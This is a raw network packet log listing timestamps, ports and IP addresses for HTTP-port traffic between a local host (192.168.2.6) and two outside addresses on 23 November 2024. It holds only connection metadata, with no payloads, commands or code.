Nov 23, 2024 13:28:29.645565033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.645617008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.650376081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.650434971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.650502920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.650553942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.654206038 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.654263973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.654309034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.654382944 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.658051014 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.658175945 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.658230066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.658263922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.661894083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.661963940 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.662023067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.662096024 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.665759087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.665817022 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.665878057 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.665929079 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.670377016 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.670435905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.670489073 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.670541048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.674257994 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.674315929 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.674343109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.674403906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.677411079 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.677479982 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.677571058 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.677625895 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.681134939 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.681193113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.681255102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.681308985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.684966087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.685022116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.685076952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.685127020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.689837933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.689913988 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.689951897 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.727308989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.727358103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.727405071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.728234053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.728346109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.728389978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.776407957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.776467085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.776520014 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.799813032 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.799853086 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.800077915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.800077915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.801228046 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.801287889 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.801347971 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.801403999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.804172993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.804231882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.805203915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.805263996 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.805332899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.805388927 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.808228970 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.808285952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.808295012 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.808346033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.811125040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.811192989 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.811232090 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.811284065 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.813816071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.813878059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.813941956 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.813999891 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.816598892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.816653013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.816711903 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.816766977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.819418907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.819477081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.819526911 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.819581985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.822173119 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.822248936 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.822302103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.822356939 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.824940920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.825014114 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.825057983 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.825112104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.827740908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.827799082 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.827871084 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.827927113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.830873013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.830948114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.831010103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.833311081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.833442926 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.833506107 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.836110115 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.836232901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.836251974 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.836278915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.838884115 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.838949919 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.839036942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.839106083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.841690063 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.841795921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.841861963 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.844521046 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.844624043 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.844690084 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.847258091 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.847326994 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.847384930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.850033045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.850159883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.850214005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.852823019 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.852943897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.853003979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.855622053 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.855679035 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.855715036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.855767965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.858395100 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.858501911 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.858560085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.861179113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.861232996 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.861303091 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.861392021 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.863995075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.864047050 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.864090919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.864144087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.866774082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.866883039 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.866941929 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.869580984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.869632006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.869680882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.869838953 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.872306108 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.872363091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.872512102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.872603893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.875186920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.875349998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.875406027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.877923012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.878000975 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.878040075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.878124952 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.880706072 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.880816936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.880872965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.883466959 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.883580923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.883640051 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.886280060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.886368036 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.886401892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.886677027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.889087915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.889198065 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.889247894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.891836882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.891894102 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.891947985 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.892003059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.900491953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.900609016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.900655985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.901607990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.901792049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.901849985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.905973911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.912450075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.912520885 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.912563086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.913899899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.914814949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.001382113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.001632929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.001739979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.001739979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.002621889 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.002674103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.002684116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.002733946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.004626036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.004686117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.004759073 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.004813910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.006849051 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.006907940 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.006979942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.007034063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.009115934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.009174109 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.009232998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.009288073 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.011347055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.011401892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.011404037 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.011455059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.013510942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.013570070 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.013654947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.013710976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.015706062 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.015762091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.015837908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.015892982 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.017843008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.017900944 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.017957926 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.018009901 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.019957066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.020010948 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.020010948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.020066977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.022073030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.022126913 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.022171021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.022222042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.024177074 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.024233103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.024307013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.024359941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.026299000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.026359081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.026403904 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.026458979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.028424978 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.028484106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.028592110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.028644085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.030484915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.030540943 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.030613899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.030664921 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.032571077 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.032624006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.032682896 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.032735109 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.034703970 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.034765005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.034773111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.034827948 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.036807060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.036861897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.036890984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.036945105 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.038886070 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.038935900 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.039025068 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.039093971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.041048050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.041102886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.041176081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.041229010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.043742895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.043797970 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.043943882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.044012070 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.045231104 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.045267105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.045286894 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.045320034 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.047354937 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.047409058 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.047483921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.047538042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.049793005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.049848080 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.049932957 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.049983978 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.052953005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.053009987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.053097963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.053149939 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.055083036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.055139065 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.055182934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.055233002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.056514025 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.056574106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.056646109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.056700945 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.058718920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.058774948 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.058811903 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.058866024 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.060091019 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.060153008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.060203075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.060334921 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.062088013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.062144995 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.062172890 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.062225103 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.064158916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.064217091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.064280987 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.064336061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.066270113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.066328049 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.066394091 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.066451073 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.068361998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.068413973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.068475008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.068525076 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.070472956 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.070527077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.070600033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.070653915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.072570086 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.072638035 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.072679996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.072732925 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.074718952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.074778080 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.074876070 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.074934959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.075496912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.075638056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.075730085 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.076781034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.076842070 CET	49777	80	192.168.2.6	185.215.113.16
